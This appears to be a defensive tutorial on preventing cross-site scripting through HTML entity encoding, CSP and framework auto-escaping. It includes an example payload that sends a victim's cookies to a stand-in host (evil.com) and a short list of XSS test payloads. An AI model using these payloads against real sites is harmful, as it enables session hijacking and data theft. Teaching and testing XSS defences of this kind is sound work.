XSS Prevention with HTML Entity Encoding
Cross-Site Scripting (XSS) is one of the most common web security vulnerabilities. HTML entity encoding is your first line of defense.
How XSS Works
XSS attacks inject malicious scripts into web pages that other users view. The attack exploits trust — the browser trusts content served by the website and executes any JavaScript it contains.
Vulnerable code:
<p>Welcome, ${username}!</p>
Attack input:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
If the username is rendered without encoding, the browser executes the script, sending the user’s cookies to the attacker.
How HTML Entity Encoding Prevents XSS
Entity encoding converts dangerous characters into their HTML entity equivalents:
| Character | Entity | Purpose |
|---|---|---|
< | < | Prevents tag opening |
> | > | Prevents tag closing |
& | & | Prevents entity injection |
" | " | Prevents attribute escape |
' | ' | Prevents attribute escape |
After encoding, the attack input becomes harmless visible text:
<p>Welcome, <script>document.location=...</script>!</p>
The browser displays the text literally instead of executing it.
Encode text instantly with our HTML Entity Encoder/Decoder.
Types of XSS
Stored XSS (Persistent)
Malicious script is stored in the database (e.g., in a comment or profile field) and served to every user who views the page. This is the most dangerous type.
Reflected XSS
Malicious script is included in a URL parameter and reflected in the response. The attacker tricks users into clicking a crafted link.
DOM-based XSS
Malicious script is injected through client-side JavaScript manipulating the DOM, typically via innerHTML, document.write(), or URL hash fragments.
Defense Strategies
1. Output Encoding (Primary Defense)
Always encode user-generated content before rendering:
// ❌ UNSAFE
element.innerHTML = userInput;
// ✅ SAFE
element.textContent = userInput;
textContent automatically escapes HTML characters. Never use innerHTML with untrusted data.
2. Content Security Policy (CSP)
Add a CSP header to prevent inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self'
This blocks <script> tags injected by attackers even if encoding is missed.
3. Framework Auto-Escaping
Modern frameworks auto-escape by default:
- React — JSX auto-escapes. Only
dangerouslySetInnerHTMLbypasses it. - Vue — Template interpolation
{{ }}auto-escapes. Onlyv-htmlis unsafe. - Astro — Expressions in templates are auto-escaped.
- Angular — Binds are auto-sanitized.
4. Context-Aware Encoding
Different contexts need different encoding:
| Context | Encoding | Example |
|---|---|---|
| HTML body | HTML entities | <script> |
| HTML attributes | HTML entities | "value" |
| JavaScript strings | JS escaping | \x3Cscript\x3E |
| URLs | Percent encoding | %3Cscript%3E |
| CSS values | CSS escaping | \3C script\3E |
Encode for URLs with our URL Encoder/Decoder.
Testing for XSS
Test your application with common XSS payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
"><script>alert('XSS')</script>
javascript:alert('XSS')
If any of these render as executable code, your application is vulnerable.
This article is part of our Encoding and Hashing Guide series.